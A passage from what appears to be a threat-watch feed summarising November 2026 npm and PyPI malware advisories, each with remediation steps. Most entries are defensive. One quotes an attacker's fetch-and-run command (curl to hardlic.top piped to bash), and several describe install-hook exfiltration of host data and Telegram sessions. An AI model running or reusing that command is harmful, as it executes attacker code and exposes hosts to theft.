Quantum Systems fleet as a precaution; the company says it was the only customer to do so and that flights have resumed with no risk to operators. The malware-in-update and customer-reach claims rest on a single anonymous-source report that no government statement or second outlet has confirmed. No malware name, CVE, fixed QBase version, attribution or customer count appears in the sources reviewed. Germany's defence ministry declined to comment. Do: Organisations running QBase or Quantum Systems drones should verify they are on the latest, verified software update and check update provenance/signatures; Review ground-control server logs for indicators of compromise from updates received around late October 2026; Isolate ground-control infrastructure from drone and mission networks where feasible; Report any anomalies to national CERT/defense authorities given the military context ### [critical] hstdemotest / hstdemotests npm malware — install-time remote script execution and host data exfiltration to hardlic.top https://helix.ml/threat-watch/i/hstdemotest-hstdemotests-npm-malware-install-time-remote-script-execution-and-host-data-exfiltration-to-hardlic-top · Supply chain · no-fix-needed · since 2026-11-16 Two sibling malicious npm packages, hstdemotest and hstdemotests (both version 1.3.0), published by the same account five minutes apart, were flagged by OpenSSF and added to the GitHub Advisory Database on 2026-11-16. Both run curl against new.www.hardlic.top in preinstall and postinstall hooks, beaconing every install. hstdemotests additionally pipes a remote script (curl new.www.hardlic.top/1.sh|bash) for execution on every install; on require, its index.js fetches an internal page (http://tst.woa.com/flag.html) from the victim's network and POSTs it to the attacker, while bundled demo.js collects whoami, hostname and ifconfig/ipconfig output and exfiltrates them. Any developer or CI system installing these packages is compromised. No patched versions exist; removal is the only remedy. Do: Search lockfiles, CI logs and installed node_modules for hstdemotest or hstdemotests and remove them immediately; Treat any machine or CI runner where they were installed as compromised: rotate credentials, inspect for persistence, and review network logs for contact with new.www.hardlic.top; Block new.www.hardlic.top at egress firewalls and DNS; Audit internal endpoints such as tst.woa.com/flag.html for access from build systems; Restrict npm install lifecycle scripts in CI and enable malware scanning/allowlists for dependencies ### [critical] tg-msg-effect (npm): malicious Telegram message-effect package steals Telegram Desktop tdata sessions https://helix.ml/threat-watch/i/tg-msg-effect-npm-malicious-telegram-message-effect-package-steals-telegram-desktop-tdata-sessions · Supply chain · no-fix-needed · since 2026-11-16 The npm package tg-msg-effect, posing as a Telegram message-effect helper, contains embedded malware (CWE-506). On import, index.js launches a detached, silenced node core.js process. On Windows, core.js scans drives C: through Z:, collects every Telegram Desktop tdata session folder (16-hex session files, s directories, key_datas), zips them into data_archive.zip and uploads the archive to a hardcoded, base64-encoded Telegram bot (bot8456787917, chat 8120002132) via sendDocument, handing the attacker the victim's logged-in Telegram sessions. All published versions (>0, including 1.0.7–1.0.10) are affected and there are no patched versions; the package has been reported to the GitHub Advisory Database and OpenSSF malicious-packages registry. Any developer or user who installed and imported it on Windows has likely had their Telegram sessions exfiltrated. Do: Remove tg-msg-effect from all projects and lockfiles immediately; treat all versions as malicious; Assume Telegram session compromise: log out all Telegram Desktop sessions, re-authenticate, and enable two-step verification / cloud password; Audit Windows machines that imported the package for data_archive.zip, core.js artifacts, and unexpected node processes; scan for further compromise; Check Telegram active-session lists and revoke unknown sessions; review account activity for unauthorized access; Rotate any credentials or secrets accessible via compromised Telegram accounts (bots, chats, 2FA recovery codes); Report installations/telemetry to npm and GitHub to accelerate takedown ### [critical] @univerjs-pro/sheets-pivot-chart 1.5.0 npm package is malware — full system compromise on install https://helix.ml/threat-watch/i/univerjs-pro-sheets-pivot-chart-1-5-0-npm-package-is-malware-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-16 GitHub Advisory Database (GHSA-h6jf-g8cj-x4v3) published a critical malware advisory for version 1.5.0 of the npm package @univerjs-pro/sheets-pivot-chart, a pro plugin of the Univer spreadsheet ecosystem. The advisory states any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; all secrets and keys on affected machines must be rotated. No patched version exists and no source code is known, so the only remediation is removal plus host forensics. With roughly 360K monthly downloads, exposure is significant for any project or CI environment that pulled version 1.5.0. CWE-506 (embedded malicious code). Do: Check lockfiles and installed node_modules for @univerjs-pro/sheets-pivot-chart@1.5.0 and remove it; Treat any machine or CI runner where it was installed as compromised; rebuild from clean images; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a separate trusted device; Audit npm audit logs / CI logs for when 1.5.0 was pulled and pin/avoid the affected version; Hunt for persistence and follow-on malicious software; reinstall OS if compromise is suspected ### [critical] pmhq-dist-win-x64 npm package is malware — full machine compromise for installers of v9.0.2 https://helix.ml/threat-watch/i/pmhq-dist-win-x64-npm-package-is-malware-full-machine-compromise-for-installers-of-v9-0-2 · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published a malware advisory (GHSA-xxrh-88wg-7qf4) for the npm package pmhq-dist-win-x64, version 9.0.2, flagged as CWE-506 embedded malicious code. GitHub's standard malware wording states any computer with the package installed or running should be considered fully compromised, implying the malicious code grants outside actors full control of the machine. No patched versions exist and no known source code is available; the package (~872 downloads/month, 123 GitHub stars) should be treated as malicious at every affected version. Anyone who installed it should rotate all secrets and keys from a clean machine and rebuild compromised hosts, since removal of the package cannot be guaranteed to remove the malware. Do: Treat any machine with pmhq-dist-win-x64 installed as fully compromised; isolate it; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems rather than attempting in-place cleanup; Audit npm dependency trees and CI caches for pmhq-dist-win-x64 and block it; Review logs for signs of attacker access following installation ### [critical] @theholocron/holocron-plugin-discord — npm package flagged as malware, full host compromise (no CVE) https://helix.ml/threat-watch/i/theholocron-holocron-plugin-discord-npm-package-flagged-as-malware-full-host-compromise-no-cve · Supply chain · no-fix-needed · since 2026-11-15 GitHub's advisory database published a malware advisory (GHSA-95pv-hv63-58m8) for the npm package @theholocron/holocron-plugin-discord, affecting version 5.0.0-alpha.436. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. No patched versions exist and no known source code is available, indicating the package itself is malicious rather than a compromised dependency. The package reportedly sees ~41K downloads per month, so any environment that installed the affected version is at risk. Removal of the package alone is not guaranteed to eliminate all malicious software. Organisations should treat this as a credential-theft and host-compromise incident and rotate all secrets from a clean machine. Do: Rotate all secrets, keys, and credentials stored on machines where the package was installed, using a different clean computer; Remove the package and rebuild/reimage affected machines; do not assume removal fully cleans the host; Audit dependency lockfiles and CI/CD environments for the affected version 5.0.0-alpha.436 and block the package; Review access logs and monitor for suspicious activity on affected hosts; Check npm audit / GitHub advisory feeds for other packages from the same maintainer ### [critical] gatepay-sdk-python (PyPI): malicious package exfiltrates host info on install/import (no CVE) https://helix.ml/threat-watch/i/gatepay-sdk-python-pypi-malicious-package-exfiltrates-host-info-on-install-import-no-cve · Supply chain · no-fix-needed · since 2026-11-15 GitHub published advisory GHSA-rp2f-46j6-grv4 on 2026-11-15 flagging the PyPI package gatepay-sdk-python as malware. Version 99.99.1 overrides the install command in setup.py to execute malicious code during installation, and importing the module exfiltrates basic host information such as IP address and username; the package has no legitimate purpose. Classified under the GENERIC-standard-pypi-install-pentest campaign as PROBABLY_PENTEST with limited risk, but rated critical with no patched versions — the only remediation is removal. Credit to OpenSSF malicious-packages and kam193's bad-packages database. Any environment that installed or imported the package is affected. Do: Search environments and dependency lockfiles for gatepay-sdk-python and remove/uninstall it immediately; Treat any host where it was installed or imported as potentially compromised; rotate credentials and review for exfiltrated data (IP, username); Block the package name in internal PyPI mirrors and CI dependency resolution; Review pip install logs and setup.py execution history for signs of the malicious install hook ### [critical] node-zserial npm package 1.0.42 is malware — full machine compromise, no patched version https://helix.ml/threat-watch/i/node-zserial-npm-package-1-0-42-is-malware-full-machine-compromise-no-patched-version · Supply chain · no-fix-needed · since 2026-11-15 GitHub's advisory database published GHSA-2p2h-g9qq-v2wx on 2026-11-15 flagging version 1.0.42 of the npm package node-zserial as malware (CWE-506, embedded malicious code). The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity, and no patched versions exist. The package sees roughly 249 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to remove all malicious software it installed. Anyone who installed node-zserial 1.0.42 should treat all secrets and keys on affected machines as stolen and rotate them from a clean machine. Do: Treat any machine with node-zserial 1.0.42 installed as fully compromised; isolate it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems; do not assume removal fully cleans the machine; Audit dependency lockfiles and CI pipelines for node-zserial and block/reject the package; Review logs and network traffic for signs of attacker access following installation ### [critical] GENERIC-questionable-pentest typosquat campaign: gateio-ws / gateio-sdk / gateio-client / gateio-v4 (PyPI) exfiltrate env vars and host data on install https://helix.ml/threat-watch/i/generic-questionable-pentest-typosquat-campaign-gateio-ws-gateio-sdk-gateio-client-pypi-packages-exfiltrate-env-vars-and · Supply chain · no-fix-needed · since 2026-11-14 OpenSSF's malicious-packages database and the GitHub Advisory Database flagged four PyPI packages — gateio-ws, gateio-sdk, gateio-client and gateio-v4 — as malicious typosquats of legitimate Gate.io-related libraries. Versions 99.99.1 and 99.99.2 (gateio-client and gateio-v4 only 99.99.1) override the install command in setup.py to execute code during pip install, and gateio-v4 also exfiltrates host information (IP, username) on module import. The packages exfiltrate environment variables and basic host data, and have no legitimate purpose. They are attributed to a 'GENERIC-questionable-pentest' / 'GENERIC-standard-pypi-install-pentest' campaign — likely research or pentest tooling whose data collection raises privacy and security concerns — and are classified as malicious (CWE-506). No patched versions exist; the packages remain on PyPI and anyone who installed or imported them is affected. Do: Search dependency caches, lockfiles and CI logs for gateio-ws, gateio-sdk, gateio-client or gateio-v4 and remove any installation; Treat any host where these packages were installed or imported as compromised: rotate all secrets present in environment variables (API keys, tokens, credentials); Review pip install logs and CI/CD pipelines for execution of these packages, especially builds using 'pip install' of unvetted dependencies; Block these package names in internal PyPI mirrors/proxies and enforce allowlists or hash-pinning for installs; Audit for other typosquats of crypto-exchange SDK names in your dependency tree ### [critical] @crvouga/mockingbird-service-microsoft npm package contains malware (no CVE) https://helix.ml/threat-watch/i/crvouga-mockingbird-service-microsoft-npm-package-contains-malware-no-cve · Supply chain · no-fix-needed · since 2026-11-15 GitHub published advisory GHSA-w3gq-mm9x-7w7c on 2026-11-15 flagging version 0.14.0 of the npm package @crvouga/mockingbird-service-microsoft as embedded malicious code (CWE-506). Any machine with the package installed or running should be considered fully compromised, with attacker control implying potential theft of secrets, keys, and credentials. The package has roughly 2,839 monthly downloads and 4 GitHub stars, so exposure is limited but real. No patched version exists and no source code is available; the advisory recommends removal, but removal alone cannot guarantee the machine is clean since full control may have been handed to an outside entity. Affected users must treat the host as compromised, rotate all secrets from a separate machine, and rebuild the environment. Do: Stop using and uninstall @crvouga/mockingbird-service-microsoft 0.14.0 immediately; Treat all machines that ran the package as fully compromised; rotate all secrets and keys from a clean computer; Rebuild/reimage affected hosts and audit for persistence and attacker access; Review CI/CD and developer machines that installed the package for credential exposure; Block the package in dependency policies and check lockfiles for the dependency ### [critical] demo-pingtest-xyz (PyPI): malicious package exfiltrates host info on install/import (no CVE) https://helix.ml/threat-watch/i/demo-pingtest-xyz-pypi-malicious-package-exfiltrates-host-info-on-install-import-no-cve · Supply chain · no-fix-needed · since 2026-11-14 GitHub's advisory database (crediting OpenSSF's malicious-packages project and kam193's bad-packages database) flagged the PyPI package demo-pingtest-xyz as malware. Version 0.0.1 overrides the install command in setup.py so malicious code runs during pip install, and importing the module also triggers exfiltration of basic host information such as IP address and username; the package has no legitimate purpose. It is categorised as PROBABLY_PENTEST with limited risk, but the advisory rates it critical. No patched versions exist — the package is malware and should simply be removed. Anyone who installed it or imported the module should treat host data as potentially exposed. Do: Search environments for demo-pingtest-xyz and uninstall it; block the package name in internal PyPI mirrors/proxies; If installed or imported, investigate what host data (IP, username) may have been exfiltrated and review outbound connections from affected machines; Rotate credentials used on affected hosts if exfiltration is confirmed or suspected; Audit pip install logs and CI pipelines for use of the package; Enforce dependency allowlists/scanning (e.g. OSV/GHSA checks) for Python dependencies ### [critical] ps-bool PyPI malware: obfuscated code exfiltrates photos/documents to Telegram bot, targets Android https://helix.ml/threat-watch/i/ps-bool-pypi-malware-obfuscated-code-exfiltrates-photos-documents-to-telegram-bot-targets-android · Supply chain · no-fix-needed · since 2026-11-14 The PyPI package ps-bool was found to contain malicious code: on import, obfuscated code exfiltrates photos and documents to an attacker-controlled Telegram bot, with targeting of Android devices. Versions 0.2.0, 0.2.1, 0.2.3, 0.2.4 and 0.2.5 are affected, with no clean version available. The advisory was published to the GitHub Advisory Database on 2026-11-14, credited to researcher kam193 via OpenSSF's malicious-packages database. Anyone who installed or imported ps-bool, particularly on Android environments, should assume file exfiltration occurred. There is no fix; the package should be treated as malware and removed entirely. Do: Remove ps-bool from all environments and dependency manifests immediately; do not upgrade within the package; Audit systems where it was installed for exfiltrated photos/documents and review Telegram bot traffic and egress logs; Rotate any credentials or sensitive data accessible from affected devices, especially Android devices; Check lockfiles and CI caches for residual copies and block the package name in your registry proxy ### [critical] Malicious PyPI package xrfdc exfiltrates host info on install/import (no CVE) https://helix.ml/threat-watch/i/malicious-pypi-package-xrfdc-exfiltrates-host-info-on-install-import-no-cve · Supply chain · no-fix-needed · since 2026-11-14 GitHub Advisory Database published GHSA-fmq9-qj28-89vh on 2026-11-14 flagging the PyPI package xrfdc as malicious. Installing the package or importing the module exfiltrates basic host information (e.g., IP address, username), and the package has no legitimate purpose. The malicious code runs during installation because setup.py overrides the install command, so even a pip install without importing is enough to trigger exfiltration. Affected versions are 0.0.0 and 2.0, with no patched versions available. The advisory categorises it as PROBABLY_PENTEST with limited risk, credited to OpenSSF's malicious-packages database and kam193's bad-packages research. Any developer or CI environment that installed xrfdc from PyPI is affected. Do: Remove xrfdc from all environments and dependency files; do not install any version; Audit build logs and hosts where xrfdc was installed or imported for signs of data exfiltration (outbound connections, leaked IP/username data); Rotate credentials and secrets that may have been present on affected machines or CI runners; Check dependency lockfiles and SBOMs for historical use of xrfdc; Block the package name in internal PyPI mirrors/proxies ### [medium] trezortranslate (PyPI): malicious package exfiltrates host info on install/import (no CVE) https://helix.ml/threat-watch/i/trezortranslate-pypi-malicious-package-exfiltrates-host-info-on-install-import-no-cve · Supply chain · no-fix-needed · since 2026-11-14 GitHub Advisory Database (GHSA-9fc6-4mrc-h6pp, published 2026-11-14) flags the PyPI package trezortranslate as malicious. Versions 0.0.0 and 1.0.0 override the install command in setup.py to execute code during pip install, and installing or importing the module exfiltrates basic host information such as IP address and username; the package has no legitimate purpose. Classified by the source as PROBABLY_PENTEST under the GENERIC-standard-pypi-install-pentest campaign with limited risk. No patched versions exist — the package is malware and should be removed, not upgraded. Anyone who installed it via pip is affected; no in-the-wild exploitation beyond the package's own behavior is reported. Do: Search environments and dependency lockfiles for trezortranslate and uninstall it if present; Treat hosts where it was installed as potentially exposed: rotate credentials of the affected user, review network egress logs for exfiltration; Block/flag the package name in internal PyPI mirrors and CI dependency scanning; Audit pip install logs and setup.py-driven builds for unexpected network activity ### [critical] @sfunction/dsh-screenshot npm package is malware — full machine compromise for installers (no CVE) https://helix.ml/threat-watch/i/sfunction-dsh-screenshot-npm-package-is-malware-full-machine-compromise-for-installers-no-cve · Supply chain · no-fix-needed · since 2026-11-14 GitHub's malware advisory database published GHSA-7jf6-qwv2-qppp on 2026-11-14 flagging version 0.1.1 of the npm package @sfunction/dsh-screenshot as embedded malicious code (CWE-506). Any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; no patched version exists and no known source code is available. The package sees roughly 749 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to remove malicious software it may have installed. Affected users must rotate all secrets and keys from a clean machine and rebuild compromised systems. Do: Rotate all secrets, keys, and credentials stored on machines where the package was installed, using a different clean computer; Remove @sfunction/dsh-screenshot 0.1.1 from all projects and lockfiles; Reimage or rebuild affected machines; do not assume removal cleans up the malware; Audit systems for signs of compromise and unexpected outbound connections; Block the package in internal registries and CI dependency checks ### [critical] Malicious npm package know_your_why_by_ken_costa_46wpa fully compromises installers https://helix.ml/threat-watch/i/malicious-npm-package-know-your-why-by-ken-costa-46wpa-fully-compromises-installers · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database (GHSA-c378-v8c4-hpch, published 2026-11-13) flags the npm package know_your_why_by_ken_costa_46wpa as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. GitHub states any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, so removal of the package alone does not guarantee removal of the malicious software. The package sees roughly 13 downloads per month, limiting reach, but any installer is exposed to full machine compromise and secret theft. The only remediation is removal plus full incident response on affected machines. Do: Rotate all secrets and keys stored on any machine where the package was installed, using a clean computer; Remove the package from all projects and lockfiles and block it in dependency policy; Rebuild/reimage affected machines; do not assume removal of the package removes the malware; Audit for signs of compromise and review credentials, tokens and wallets accessible from those machines ### [critical] PyPI malware campaign 2026-11-testing1345: qap793gl4l — setup.py install hook downloads and runs remote RAT script (no CVE) https://helix.ml/threat-watch/i/pypi-malware-campaign-2026-11-testing1345-qap793gl4l-setup-py-install-hook-downloads-and-runs-remote-rat-script-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub Advisory Database (GHSA-rm58-9wp3-cwmv, published 2026-11-13, credited to OpenSSF/kam193) flags the PyPI package qap793gl4l version 0.1.1 as malicious, part of a campaign tracked as 2026-11-testing1345. The package overrides the install command in setup.py so malicious code executes during pip installation, then downloads and runs a remote script to deploy a RAT. Analysts noted the remote GitHub repository hosting the payload did not yet contain the malicious code at analysis time. Anyone who installed qap793gl4l 0.1.1 is affected; there are no fixed versions — the package is malware and should be removed, not upgraded. Do: Check environments and lockfiles for qap793gl4l and remove it; version 0.1.1 is the affected release; Treat any machine where it was installed as compromised: isolate, reimage, rotate credentials and secrets; Hunt for signs of RAT activity and outbound connections to the attacker's payload host; Block the package and associated indicators in artifact/proxy controls; audit for other packages from the same campaign ### [critical] axiom-dragon-xyz PyPI malware — install-time infostealer exfiltrates crypto wallet and cloud credential files https://helix.ml/threat-watch/i/axiom-dragon-xyz-pypi-malware-install-time-infostealer-exfiltrates-crypto-wallet-and-cloud-credential-files · Supply chain · no-fix-needed · since 2026-11-13 The PyPI package axiom-dragon-xyz version 1.0.4 is confirmed malware, published to the GitHub Advisory Database on 2026-11-13 as part of the 2026-11-axiom-dragon-xyz campaign. The package overrides the install command in setup.py so malicious code executes during pip installation. It acts as an infostealer, exfiltrating sensitive files used by cryptocurrency wallets and files storing cloud credentials, with obfuscation used to evade detection. Anyone who installed version 1.0.4 is affected; there are no patched versions and the package should not be used. Detection credited to kam193 via the OpenSSF malicious-packages database. Do: Check environments and lockfiles for axiom-dragon-xyz (version 1.0.4) and uninstall it immediately if present; Treat any machine where it was installed as compromised: rotate cloud provider credentials, API keys, and all cryptocurrency wallet keys/seeds stored on or accessible from the host; Review access logs and exfiltration indicators on affected hosts; audit for unauthorized cloud resource use or wallet transactions; Block the package in internal PyPI mirrors, artifact repositories, and CI pipelines; Prefer --no-build-isolation awareness: pin dependencies and use hash verification to prevent install-script execution from unknown packages ### [critical] Ebook-download npm malware cluster: dowload_ebok_* packages — malicious npm packages fully compromise installer machines (no CVE) https://helix.ml/threat-watch/i/ebook-download-npm-malware-cluster-dowload-ebok-packages-malicious-npm-packages-fully-compromise-installers-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub published multiple malware advisories on 2026-11-13 for a growing cluster of npm packages posing as ebook downloads (titles including works by Claire Dederer, Mark Lesky, Alex de Brienne, Dan Abnett, Robert Kirkman, Dedeker Winston, Bianca Bosker, Marina Abramovic, Moruena Estringana, Dan Gookin, Gina Homolka, J. Kenner, Mark Twain, Simon Furman, Norman Vincent Peale, Vi Keeland, Søren Kierkegaard, James Dashner, Felix Lobrecht and others). All versions are flagged as embedded malicious code (CWE-506) with no patched versions; GitHub states any machine with a package installed should be considered fully compromised, with secrets and keys exposed to an outside entity. Downloads are low (~1-39/month per package), limiting reach, but any installation grants attackers full control. Removal of the package does not guarantee removal of the malware. No CVEs; no fix exists — remediation is host compromise response, not upgrading. Do: Remove the packages and treat affected machines as fully compromised; Rotate all secrets, keys and credentials stored on affected machines from a clean computer; Rebuild/reimage affected systems and audit for persistence; Check CI/CD and developer machines for these package names in lockfiles and dependency trees; Block the package names in npm registries/proxies and monitor for similar ebook-download typosquat packages ### [critical] zread_cli npm malware: malicious CLI and platform binaries fully compromise installed machines https://helix.ml/threat-watch/i/zread-cli-npm-malware-malicious-cli-and-platform-binaries-fully-compromise-installed-machines · Supply chain · no-fix-needed · since 2026-11-13 GitHub's Advisory Database published four malware advisories on 2026-11-13 for the npm package zread_cli and three @zread/cli platform-specific binaries (darwin-arm64, darwin-x64, linux-arm64). All versions (>= 0) are flagged as embedded malicious code (CWE-506) with no patched versions and no known source code, indicating a likely typosquat or hijacked package rather than a compromised legitimate release. The advisories state any computer with the package installed or running should be considered fully compromised, implying attacker control of the host and access to stored secrets and keys. Combined downloads are modest (~440/month), limiting reach, but any installation is treated as an active compromise. No fix exists; removal of the package does not guarantee removal of the malicious software. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine where zread_cli or any @zread/cli-* binary was installed, using a clean machine; Isolate and rebuild affected machines from trusted images; do not rely on uninstalling the package; Audit npm lockfiles and CI/CD environments for zread_cli or @zread/cli-* and block these packages; Review logs and network traffic for signs of exfiltration or attacker access following installation ### [critical] @jelou/cli-win32-x64 npm package: malicious code compromises any machine where version 4.26.1 is installed (no CVE) https://helix.ml/threat-watch/i/jelou-cli-win32-x64-npm-package-malicious-code-compromises-any-machine-where-version-4-26-1-is-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub published advisory GHSA-q78g-75cg-hwq6 on 2026-11-13 flagging @jelou/cli-win32-x64 version 4.26.1 on npm as malware (CWE-506, embedded malicious code). The advisory states any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. The package draws ~5,865 downloads per month, so a meaningful number of Windows developer machines may be affected. There is no patched version and no known source code; the package should be treated as malicious rather than a compromised legitimate project. Remediation requires removing the package, rotating all secrets and keys from a clean machine, and forensic cleanup, since removal alone cannot be guaranteed to eliminate implanted malware. Do: Treat any machine with @jelou/cli-win32-x64 4.26.1 installed as fully compromised; isolate it; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Remove the package and run malware/forensic cleanup; reimage if in doubt; Audit npm lockfiles and CI caches for the package and block it in registry proxies; Review logs for post-compromise activity and credential use ### [critical] rush-mfa npm package is malware — full compromise of any machine where installed https://helix.ml/threat-watch/i/rush-mfa-npm-package-is-malware-full-compromise-of-any-machine-where-installed · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database has flagged the npm package rush-mfa as embedded malicious code (CWE-506). Every published version (>= 0) is affected and there is no patched version — the package itself is the attack. GitHub warns that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control, harvested secrets and keys, and deployed additional persistent malware. The package sees roughly 332 downloads per month, so exposure is limited but real. Removal of the package does not guarantee removal of all malicious software it installed. No fix will be issued; remediation is incident response on affected hosts. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where rush-mfa was installed, using a clean machine; Audit affected hosts for persistence and additional malware; rebuild/reimage rather than trusting cleanup; Remove rush-mfa from all projects, lockfiles and CI pipelines; check dependency trees for transitive installs; Review logs and network traffic from affected machines for attacker activity; Block/flag rush-mfa in internal registries and dependency scanning ### [critical] Malicious npm package tailwindcss-hook-forms 0.5.2 — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-tailwindcss-hook-forms-0-5-2-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database (GHSA-8j4g-6q77-9w6p, published 2026-11-13) flags the npm package tailwindcss-hook-forms version 0.5.2 as containing embedded malicious code (CWE-506). Any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside actor; secrets and keys on affected systems must be rotated. The package shows ~52 weekly npm downloads despite a claimed 4,563 GitHub stars, and no patched version exists — the package itself is malware and should be removed. Removal alone is not guaranteed to eliminate all malicious software planted during installation. Do: Immediately remove tailwindcss-hook-forms@0.5.2 from all projects and lockfiles; Rotate all secrets, keys, and credentials stored on machines where the package was installed, from a clean computer; Rebuild/reimage affected machines; do not assume removal of the package removes the malware; Audit npm dependencies and CI caches for the package and block it in dependency firewalls/allowlists; Review logs and network traffic for signs of exfiltration or attacker access ### [critical] Malicious npm packages asavie-ui and @asavie/i18n flagged as malware — full host compromise https://helix.ml/threat-watch/i/malicious-npm-packages-asavie-ui-and-asavie-i18n-flagged-as-malware-full-host-compromise · Supply chain · no-fix-needed · since 2026-11-13 GitHub's Advisory Database published malware advisories on 2026-11-13 for two npm packages, asavie-ui (GHSA-wwwv-86vw-pg9w) and @asavie/i18n (GHSA-p2m2-v2jm-mxgq), both classified CWE-506 Embedded Malicious Code. Every version (>= 0) is affected and no patched versions exist, so the packages cannot be safely used at all. The advisories state that any computer with these packages installed or running should be considered fully compromised, with control potentially given to an outside entity, and that removing the package does not guarantee removal of all malicious software. @asavie/i18n shows roughly 351 monthly downloads, indicating some real-world exposure. No CVEs are assigned; remediation is removal plus credential rotation and host rebuild. Do: Remove asavie-ui and @asavie/i18n from all projects, lockfiles and CI images and block them in your registry/proxy; Rotate all secrets, keys, tokens and credentials stored on any machine where the packages were installed, doing so from a clean machine; Rebuild or reimage affected machines; package removal alone may not remove the malware; Audit install logs and dependency trees to determine when and where the packages were pulled in; Monitor for suspicious outbound connections and follow-up compromise indicators on affected hosts ### [critical] testing1345 (PyPI): malicious package installs RAT via setup.py remote script download https://helix.ml/threat-watch/i/testing1345-pypi-malicious-package-installs-rat-via-setup-py-remote-script-download · Supply chain · no-fix-needed · since 2026-11-13 The PyPI package testing1345 (version 0.1.0) was identified as malware and published to the GitHub Advisory Database on 2026-11-13 (GHSA-w462-j2j5-xmp7). The package overrides the install command in setup.py so that installing it downloads and executes a script from a remote server. The server serves varying payloads, some benign and some containing next-stage installation, with the final payload being a remote access trojan (RAT). Anyone who pip-installed testing1345 0.1.0 may have a RAT running on their machine. There is no patched version; the package is malware and should be removed. Attribution/analysis credited to kam193 and OpenSSF malicious-packages, with sandbox and VirusTotal references available. Do: Check whether testing1345 (0.1.0) was installed in any environment; if so, isolate and rebuild the host from trusted images; Treat any machine where the package was installed as compromised: rotate credentials, tokens, and SSH keys accessible from it; Audit pip install logs and CI pipelines for the package name and for setup.py executing remote downloads; Block the package and associated indicators in artifact registries and proxy caches; Hunt for RAT-style C2 traffic on potentially affected hosts ### [critical] Malicious npm package hauntview 0.2.9 — full system compromise of installed machines (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-hauntview-0-2-9-full-system-compromise-of-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database flagged the npm package hauntview version 0.2.9 as containing embedded malicious code (CWE-506), published 2026-11-13. Any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside actor. All secrets and keys stored on affected machines must be rotated from a clean computer. There are no patched versions — the package itself is malware — and removal does not guarantee elimination of all malicious software it may have installed. Users who installed hauntview 0.2.9 are affected; no fixed version exists, so the only remediation is removal plus full incident response on affected hosts. Do: Remove hauntview 0.2.9 from all projects and machines; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Rebuild or reimage affected systems; scan for persistence and additional malware; Audit npm lockfiles and CI environments for the package and review access logs for signs of compromise ### [critical] Malicious npm package kampodra 0.8.16 — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-kampodra-0-8-16-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database published GHSA-57xg-9jqp-97gm on 2026-11-13 flagging the npm package kampodra version 0.8.16 as embedded malicious code (CWE-506). Any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside actor; all secrets and keys on affected systems must be treated as stolen. The advisory lists no patched versions, so the only remediation is removal plus credential rotation from a clean machine, with no guarantee that removal eliminates all malicious software. The package reportedly sees about 2,170 downloads per month, so any project depending on it should audit dependencies and rebuild affected environments. Do: Remove kampodra 0.8.16 from all projects and lockfiles; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Rebuild/reimage compromised systems; do not assume removal fully cleans them; Audit dependency trees and CI environments for the package and signs of compromise ### [critical] node-global-key-listener-v9 (npm): malicious package compromises machines that install it https://helix.ml/threat-watch/i/node-global-key-listener-v9-npm-malicious-package-compromises-machines-that-install-it · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database published GHSA-vh6f-827c-9wqg on 2026-11-13 flagging the npm package node-global-key-listener-v9 as malware. Versions 0.3.1 through 0.3.7 are affected and there are no patched versions; the package has no known source code repository. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. The package sees roughly 27 downloads per month, limiting reach, but any installation is treated as a compromise. Removal of the package is recommended but may not remove all malicious software. No fix exists; remediation is removal plus credential rotation from a clean machine. Do: Treat any machine with node-global-key-listener-v9 installed as fully compromised; isolate and rebuild it; Rotate all secrets, keys and credentials stored on affected machines from a different, clean computer; Remove the package from all projects and lockfiles and block it in dependency policy; Hunt for persistence and follow-on malicious software left by the package; Audit dependency trees for typosquat-style forks of node-global-key-listener ### [critical] @claudecode/cli npm package is malware — full machine compromise, no safe version exists https://helix.ml/threat-watch/i/claudecode-cli-npm-package-is-malware-full-machine-compromise-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-13 GitHub published a malware advisory (GHSA-vp2q-gp5r-xh5j, CWE-506 Embedded Malicious Code) for the npm package @claudecode/cli, which appears to impersonate Anthropic's Claude Code CLI. All versions (>= 0) are affected and there are no patched versions — the package itself is the malware. Any machine where it was installed or run must be considered fully compromised, with attacker control of secrets, keys, and credentials. The package sees roughly 61 downloads per month, limiting reach, but every installation is assumed exploited. Removal of the package does not guarantee removal of malicious software it may have deployed. No fix exists; the only remediation is removal plus full credential rotation and host rebuild. Do: Immediately uninstall @claudecode/cli from all machines and treat those 